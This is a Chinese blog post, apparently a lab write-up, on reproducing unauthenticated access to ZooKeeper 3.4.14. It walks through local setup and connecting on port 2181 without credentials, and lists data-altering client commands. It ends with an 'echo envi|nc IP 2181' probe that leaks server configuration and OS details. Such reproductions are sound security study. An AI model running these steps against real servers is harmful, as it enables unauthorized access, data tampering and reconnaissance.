zoukankan      html  css  js  c++  java
  • zookeeper(3.4.14)未授权漏洞复现

    所需环境:

    Zookeeper 3.4.14

    Java JDK 1.8.0_181(及以上)

    Zookeeper3.4.14下载位置:http://archive.apache.org/dist/zookeeper/zookeeper-3.4.14/

    1、环境配置:

    解压Zookeeper3.4.14包,conf/目录下zoo_sample.cfg文件重命名为zoo.cfg,并做如下修改dataDir的路径为解压目录

    到bin目录下编辑zkEnv.sh,确保java环境变量已经设置好(kali默认环境变量已经设好)

     如是Windows则在zkEnv.cmd末尾加pause,以便看到报错信息

     2、Zookeeper启动和连接尝试

    windows启动Zookeeper:

    到bin目录,启动Zookeeper:zkServer.cmd

    Linux启动Zookeeper:

    到bin目录,启动Zookeeper:./zkServer.sh start

     windows尝试连接:

    另开一个终端,尝试连接:zkCli.cmd -server IP:2181

     

     Linux尝试连接

    另开一个终端,尝试连接:./zkCli.sh -server IP:2181

     

     可执行的命令:

    ZooKeeper -server host:port cmd args
            stat path [watch]
            set path data [version]
            ls path [watch]
            delquota [-n|-b] path
            ls2 path [watch]
            setAcl path acl
            setquota -n|-b val path
            history
            redo cmdno
            printwatches on|off
            delete path [version]
            sync path
            listquota path
            rmr path
            get path [watch]
            create [-s] [-e] path data acl
            addauth scheme auth
            quit
            getAcl path
            close
            connect host:port

    kali查看相关配置和操作系统信息:

    :echo envi|nc IP 2181

  • 相关阅读:
    AutoFac学习笔记
    AutoMapper学习笔记
    ROSLYN 查看C#方法执行次数
    log4net 动态创建文件名
    WPF可切换按钮,iOS风格
    咕咕咕
    贪吃的小J
    UK Day15
    UK Day15
    UK Day15
  • 原文地址:https://www.cnblogs.com/liang-chen/p/14103306.html
Copyright © 2011-2022 走看看